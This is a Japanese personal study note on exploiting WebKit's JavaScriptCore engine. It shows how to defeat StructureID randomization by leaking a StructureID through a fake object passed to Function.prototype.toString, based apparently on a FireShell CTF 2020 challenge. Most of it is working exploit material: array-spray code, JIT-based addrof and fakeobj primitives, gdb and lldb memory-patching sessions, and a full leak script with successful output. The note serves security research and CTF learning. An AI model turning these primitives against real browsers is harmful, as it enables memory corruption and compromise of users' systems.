運動をしています

書いていく

WebKit::JSC Exploitation: StructureID Leak

Versus: StructureID randomization

自分用のメモ書きです.適当にまとめているのでおかしなところがあったら教えてください.
知ってる人にとっては当たり前の内容かもしれません.許して.

ちょっと前の流れ

spraying array for guessing StructureID

  • StructureID guessingのためにArrayをsprayしておく
  • fakeobjは作成しただけではダメ -> (fakeobj instanceof Float64Array) == True になるようにする
  • (fakeobj instanceof Float64Array) == False の間 jsCellHeaderに加算して更新する -> StrctureIDをbrute forceする
    var structs = [];
    for (var i = 0; i < 0x1000; i++) {
        var a = new Float64Array(1);
        a['prop' + i] = 1337;
        structs.push(a);
    }

fakeobjは対象となるオブジェクト(victim)のstructureIDとを使用することが必要. Float64Arrayを大量にsprayingすることにより, 高確率StrucutreIDが0x1000になるようにする.

Security Mechanism

StructureID randomization

StructureIDがrandomになった.(https://github.com/WebKit/webkit/commit/f19aec9c6319a216f336aacd1f5cc75abba49cdf)
fake objectを作る際にはjsCellHeaderに対象オブジェクト(victim)のstructureIDが必要になる. (fakeobj instanceof Float64Array) などのアクセスを行うとSEGVする.

Versus security mechanism

今回はFireShell CTF 2020 - The Return of the Slideを利用し,BlackHatのスライドを参考にします.

Leaking StructureID

簡単にまとめると以下のようになる

  • 有効ではないIDを用いたfakeobjectはGCが動き始めるまではcrashしない
  • crashするまでの"semi-faked object"を用いてどうハックするか
  • 全てのビルトイン関数で有効なStructureIDは利用されているのか
  • もしないのならその関数をどう見つけるか

あらゆるオブジェクトには標準ビルトイン関数であるtoString()が実装されている.

toString() メソッドは、オブジェクトを表す文字列を返します。 mdnより

fake objectを用いtoString()が使用するbacking storeへのポインタを上書きすることで任意のオブジェクト情報を読み取れそうというアイデアらしい. オブジェクト情報にはStructureIDが含まれる.これによりleakが可能となる.

let o = Symbol(“hello world”);

上記のようなSymbolオブジェクトを作成した場合,SymbolオブジェクトからStringオブジェクトへのポインタが存在する. また,StringオブジェクトからBacking storeまでのポインタも存在する.

コンセプトよりleakを行う場合以下のような処理を行う

  • fake String objectを事前に作成しbacking storeへのポインタをvictimオブジェクトへ向くようにする
  • fake Symbol objectを作成する
  • fake Symbol objectのString pointerをcontainerにある要素(スライドではm_uid)をfake String objectに書き換える.
  • Symbol.prototype.toString.call(fake Symbol object)よりleakされる

上記の大変わかり易いPoC github.com

なおこの手法の場合はfake objectを2つ作成する必要がある.

スライドでは次にfake objectを1つだけ利用するアイデアが示されている. Function.prototype.toStringを利用したものである.基本的なコンセプトは変わらない.

以下の処理を行う

  • UnlinkedFunctionExecutable JSObjectをオブジェクトを作成する.identifierプロパティを設定する
  • FunctionExecutable JSObjectを作成する.executableプロパティを設定しUnlinkedFunctionExecutable JSObjectを設定する
  • containerを作成しdummyのfunction jscellを設定する.butteflyプロパティなどとともに,executablebaseプロパティを設定しFunctionExecutable JSObjectを設定する
  • containerをfake object
  • UnlinkedFunctionExecutable JSObjectidentifierプロパティにfake objectを設定する
  • fake objectbutterflyプロパティにターゲットobjectを設定する
  • Function.prototype.toString.call(fake object)よりリーク

Experimentation

スライドを参考により以下のような3つのオブジェクトを作成する.

let unlink = {a:7331, b:7331, c:7331, d:7331, e:7331, f:7331, g:7331, h:7331, i:7331, j:7331, k:7331};
let func = {a:3133, b:3133, c:3133, d:3133, e:3133, f:3133, g:3133, h:3133, i:3133, j:3133, k:3133};
let obj = {a:1337, b:1337, c:1337, d:1337, e:1337, f:1337, g:1337, h:1337, i:1337, j:1337, k:1337};

print(describe(obj));
print(describe(func));
print(describe(unlink));
readline();

Function.prototype.toString.call(obj); // Exception: TypeError

ここでfakeのjsCellをfunctionのものに上書きしてみる.describe関数より各オブジェクトのアドレスを得てgdbを用いてメモリを操作する.

pwndbg> r hoge.js 
Starting program: /home/goyotan/pwnjs/javascript-exploit-writeups/techniques/jsc hoge.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff32cb700 (LWP 30397)]
Object: 0x7fffb25c40e0 with butterfly (nil) (Structure 0x7fffb25fb8a0:[0x33e2, Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10}, NonArray, Proto:0x7ffff29f6de8, Leaf]), StructureID: 13282
Object: 0x7fffb25c4070 with butterfly (nil) (Structure 0x7fffb25fb8a0:[0x33e2, Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10}, NonArray, Proto:0x7ffff29f6de8, Leaf]), StructureID: 13282
Object: 0x7fffb25c4000 with butterfly (nil) (Structure 0x7fffb25fb8a0:[0x33e2, Object, {a:0, b:1, c:2, d:3, e:4, f:5, g:6, h:7, i:8, j:9, k:10}, NonArray, Proto:0x7ffff29f6de8, Leaf]), StructureID: 13282

^C

pwndbg> x/4gx 0x7fffb25c40e0
0x7fffb25c40e0: 0x01001800000033e2  0x0000000000000000
0x7fffb25c40f0: 0xfffe000000000539  0xfffe000000000539
pwndbg> set {int}0x7fffb25c40e0=0x00000000
pwndbg> set {int}0x7fffb25c40e4=0x00021a00
pwndbg> x/4gx 0x7fffb25c40e0
0x7fffb25c40e0: 0x00021a0000000000  0x0000000000000000
0x7fffb25c40f0: 0xfffe000000000539  0xfffe000000000539
pwndbg> c
Continuing.

Thread 1 "jsc" received signal SIGSEGV, Segmentation fault.

0x7ffff7697727 mov r14, qword ptr [r14 + 0x38] で落ちており,
R14 0xfffe000000000538 である. 0x538が含まれているのでfakeの中の該当プロパティを操作すればよさそうなのでfuncを代入する.

スクリプトを更新する.

let unlink = {a:7331, b:7331, c:7331, d:7331, e:7331, f:7331, g:7331, h:7331, i:7331, j:7331, k:7331};
let func = {a:3133, b:3133, c:3133, d:3133, e:3133, f:3133, g:3133, h:3133, i:3133, j:3133, k:3133};
let obj = {a:1337, func, c:1337, d:1337, e:1337};

print(describe(obj));
print(describe(func));
print(describe(unlink));
readline();

Function.prototype.toString.call(obj); // Exception: TypeError
pwndbg> r hoge.js
~jsCellを上書き~
pwndbg> x/4gx 0x7fffb25e0040
0x7fffb25e0040: 0x00021a0000000000  0x0000000000000000
0x7fffb25e0050: 0xfffe000000000539  0x00007fffb25c4070

pwndbg> c
Continuing.

Thread 1 "jsc" received signal SIGSEGV, Segmentation fault.

0x7ffff769773a cmp byte ptr [rax + 0x13], 0で落ちた.
RAX 0xfffe000000000c3d 0xc3dが含まれているのでfuncの該当箇所をunlinkのオブジェクトへ変更する.

スクリプトを更新する.

let unlink = {a:7331, b:7331, c:7331, d:7331, e:7331, f:7331, g:7331, h:7331, i:7331, j:7331, k:7331};
let func = {a:3133, b:3133, c:3133, d:3133, e:3133, f:3133, g:3133, h:3133, i:3133, j:unlink};
let obj = {a:1337, func, c:1337, d:1337, e:1337, f:1337};

print(describe(obj));
print(describe(func));
print(describe(unlink));
readline();
Function.prototype.toString.call(obj);
pwndbg> r hoge.js
~jsCellを上書き~

pwndbg> c
Continuing.

Thread 1 "jsc" received signal SIGSEGV, Segmentation fault.

0x7ffff769774d mov rbp, qword ptr [rdx]で落ちた.
RDX 0xfffe000000001ca3 0x1ca3が含まれているのでunlinkを変更する.
ここの箇所がidentifierと思われるのでfuncを代入したいがそのままではできない. そこで上記をexploitを用いて再現してみる.

load("int64.js")

function leakStructureId(target){
    // address leak
    function addrof(obj){
        var arr = [1.1, 2.2, 3.3];
        arr['a'] = 1;
        function jitme(a, c) {
                a[1] = 2.2;
                c == 1;
            return a[0];
        }
        for(var i = 0; i < 100000; i++){
            jitme(arr, {}); // JITting...
        }
        let addr = Int64.fromDouble(jitme(arr, {valueOf: function(){ arr[0] = obj; return '1';}}));
        return addr;
    }

    // fakeobj
    function fakeobj(addr){
        var arr = [1.1, 2.2, 3.3];
        arr['a'] = 1;
        function jitme(a, c) {
            a[0] = 1.1;
            a[1] = 2.2;
            c == 1;
            a[2] = addr.asDouble();
        }
        for(var i = 0; i < 100000; i++){
                jitme(arr, {}); // JITting...
        }
        jitme(arr, {valueOf: function(){ arr[0] = {}; return '1';}})
        return arr[2];
    }

    var unlinked_function = {
        a:1337, b:1337, c:1337, d:1337, e:1337, f:1337, g:1337, identifier:{},
    };
    
    var fake_function = {
        a:1337, b:1337, c:1337, d:1337, e:1337, f:1337, g:1337, h:1337, i:1337, executable:unlinked_function,
    };
    
    var container = {
        jscell: (new Int64('0x00001a0000000000')).asDouble(), // dummy function jscell
        butterfly: {},
        a: 1337,
        functionExecutable: fake_function,
    };
    
    var container_addr = addrof(container);    
    let fakeaddr = Int64.add(container_addr, 0x10);
    let fake_object = fakeobj(fakeaddr);
    
    unlinked_function.identifier = fake_object; // `fake function`にする
    container.butterfly = target; // 対象オブジェクトを置く.
    
    var leaked_id = Function.prototype.toString.call(fake_object); // boom!
    return leaked_id.charCodeAt(10).toString(16) + leaked_id.charCodeAt(9).toString(16);
}

function main(){
    let x = {x: 0x1337};
    let leaked_id = leakStructureId(x);
    print("[+] Leaked:", leaked_id);

    readline();
}

main();

unlinked_function.identifier = fake_object;container.butterfly = target;ここでidentifierの上書き + butterflyへの対象オブジェクトの設定をしている. なおここからlldbを使用している.

$ lldb /home/goyotan/analysis/js_engine/WebKitModified/WebKitBuild/Release/bin/jsc
(lldb) settings set target.x86-disassembly-flavor intel
(lldb) r test.js
There is a running process, kill it and restart?: [Y/n] y
Process 1326 exited with status = 9 (0x00000009) 
Process 1870 launched: '/home/goyotan/analysis/js_engine/WebKitModified/WebKitBuild/Release/bin/jsc' (x86_64)
Process 1870 stopped
* thread #1, name = 'jsc', stop reason = signal SIGSEGV: invalid address (fault address: 0x0)
(lldb) x/i $PC
->  0xcc8df2: 8b 68 14  mov    ebp, dword ptr [rax + 0x14]
(lldb) register read
General Purpose Registers:
       rax = 0xfffe000000000539
       ~省略~

SEGVした.

functionProtoFuncToString 関数にbreakpointを置いて1ステップずつ確認してみる.

$ lldb /home/goyotan/analysis/js_engine/WebKitModified/WebKitBuild/Release/bin/jsc
(lldb) settings set target.x86-disassembly-flavor intel
(lldb) breakpoint set --name functionProtoFuncToString
Breakpoint 1: 2 locations.
(lldb) r test.js
(lldb) ni
~省略~

こちらのif文の周辺の命令を見てみる.

(lldb) x/5i $PC
->  0xcc89b5: 48 8b 40 58        mov    rax, qword ptr [rax + 0x58]
    0xcc89b9: f6 40 13 80        test   byte ptr [rax + 0x13], -0x80
    0xcc89bd: 0f 85 3a fe ff ff  jne    0xcc87fd                  ; <+125> at JSFunctionInlines.h
    0xcc89c3: 41 f6 c5 01        test   r13b, 0x1
    0xcc89c7: 74 08              je     0xcc89d1                  ; <+593> [inlined] JSC::WriteBarrierBase<JSC::UnlinkedFunctionExecutable, WTF::DumbPtrTraits<JSC::UnlinkedFunctionExecutable> >::operator->() const at FunctionExecutable.h:135

jneにより0xcc87fdへjumpすれば良いのでtest byte ptr [rax + 0x13], -0x80でゼロフラグが立たなければOK.

この時raxにはunlinked_functionのアドレスが格納されている.

(lldb) x/6gx `$rax`
0x7fffb25ac000: 0x01001800000055d3 0x0000000000000000
0x7fffb25ac010: 0xfffe000000000539 0xfffe000000000539
0x7fffb25ac020: 0xfffe000000000539 0xfffe000000000539

[rax + 0x13]は以下である.

(lldb) x/6gx `$rax + 0x13`
0x7fffb25ac013: 0x000539fffe000000 0x000539fffe000000
0x7fffb25ac023: 0x000539fffe000000 0x000539fffe000000
0x7fffb25ac033: 0x000539fffe000000 0x000539fffe000000

つまり,0x7fffb25ac013の下位1バイトを0x80以上にすれば良いことが分かる.

unlinked_functionオブジェクトのプロパティa:1337を更新し0x80000000を設定する.

スクリプトを更新する.

load("int64.js")

function leakStructureId(target){
    // address leak
    function addrof(obj){
        var arr = [1.1, 2.2, 3.3];
        arr['a'] = 1;
        function jitme(a, c) {
                a[1] = 2.2;
                c == 1;
            return a[0];
        }
        for(var i = 0; i < 100000; i++){
            jitme(arr, {}); // JITting...
        }
        let addr = Int64.fromDouble(jitme(arr, {valueOf: function(){ arr[0] = obj; return '1';}}));
        return addr;
    }

    // fakeobj
    function fakeobj(addr){
        var arr = [1.1, 2.2, 3.3];
        arr['a'] = 1;
        function jitme(a, c) {
            a[0] = 1.1;
            a[1] = 2.2;
            c == 1;
            a[2] = addr.asDouble();
        }
        for(var i = 0; i < 100000; i++){
                jitme(arr, {}); // JITting...
        }
        jitme(arr, {valueOf: function(){ arr[0] = {}; return '1';}})
        return arr[2];
    }

    var unlinked_function = {
        //a:1337, b:1337, c:1337, d:1337, e:1337, f:1337, g:1337, identifier:{},
        a:(new Int64("0x80000000")).asDouble(), b:1337, c:1337, d:1337, e:1337, f:1337, g:1337, identifier:{},
    };
    
    var fake_function = {
        a:1337, b:1337, c:1337, d:1337, e:1337, f:1337, g:1337, h:1337, i:1337, executable:unlinked_function,
    };
    
    var container = {
        jscell: (new Int64('0x00001a0000000000')).asDouble(), // dummy function jscell
        butterfly: {},
        a: 1337,
        functionExecutable: fake_function,
    };
    
    var container_addr = addrof(container);    
    let fakeaddr = Int64.add(container_addr, 0x10);
    let fake_object = fakeobj(fakeaddr);
    
    unlinked_function.identifier = fake_object; // `fake function`にする
    container.butterfly = target; // 対象オブジェクトを置く.
    
    var leaked_id = Function.prototype.toString.call(fake_object); // boom!
    return leaked_id.charCodeAt(10).toString(16) + leaked_id.charCodeAt(9).toString(16);
}

function main(){
    let x = {x: 0x1337};
    let leaked_id = leakStructureId(x);
    print(describe(x))
    print("[+] Leaked:", leaked_id);

    readline();
}

main();

結果

goyotan@nebula:~/pwnjs/javascript-exploit-writeups/techniques$ /home/goyotan/analysis/js_engine/WebKitModified/WebKitBuild/Release/bin/jsc /home/goyotan/pwnjs/javascript-exploit-writeups/techniques/test.js 
Object: 0x7fd664eb8000 with butterfly (nil) (Structure 0x7fd664ebc6c0:[0xd7a, Object, {x:0}, NonArray, Proto:0x7fd6a52f6de8, Leaf]), StructureID: 3450
[+] Leaked: 0d7a

goyotan@nebula:~/pwnjs/javascript-exploit-writeups/techniques$ /home/goyotan/analysis/js_engine/WebKitModified/WebKitBuild/Release/bin/jsc /home/goyotan/pwnjs/javascript-exploit-writeups/techniques/test.js 
Object: 0x7fab5feb8000 with butterfly (nil) (Structure 0x7fab5febc6c0:[0x65bd, Object, {x:0}, NonArray, Proto:0x7faba02f6de8, Leaf]), StructureID: 26045
[+] Leaked: 065bd

goyotan@nebula:~/pwnjs/javascript-exploit-writeups/techniques$ /home/goyotan/analysis/js_engine/WebKitModified/WebKitBuild/Release/bin/jsc /home/goyotan/pwnjs/javascript-exploit-writeups/techniques/test.js 
Object: 0x7fdfd63b8000 with butterfly (nil) (Structure 0x7fdfd63bc6c0:[0xaec1, Object, {x:0}, NonArray, Proto:0x7fe0167f6de8, Leaf]), StructureID: 44737
[+] Leaked: 0aec1

goyotan@nebula:~/pwnjs/javascript-exploit-writeups/techniques$ /home/goyotan/analysis/js_engine/WebKitModified/WebKitBuild/Release/bin/jsc /home/goyotan/pwnjs/javascript-exploit-writeups/techniques/test.js 
Object: 0x7f0bfa7b8000 with butterfly (nil) (Structure 0x7f0bfa7bc6c0:[0xef6c, Object, {x:0}, NonArray, Proto:0x7f0c3abf6de8, Leaf]), StructureID: 61292
[+] Leaked: 0ef6c

goyotan@nebula:~/pwnjs/javascript-exploit-writeups/techniques$ /home/goyotan/analysis/js_engine/WebKitModified/WebKitBuild/Release/bin/jsc /home/goyotan/pwnjs/javascript-exploit-writeups/techniques/test.js 
Object: 0x7f4b600b8000 with butterfly (nil) (Structure 0x7f4b600bc6c0:[0xe1ab, Object, {x:0}, NonArray, Proto:0x7f4ba04f6de8, Leaf]), StructureID: 57771
[+] Leaked: 0e1ab

無事にStructureIDのリークに成功した.

Reference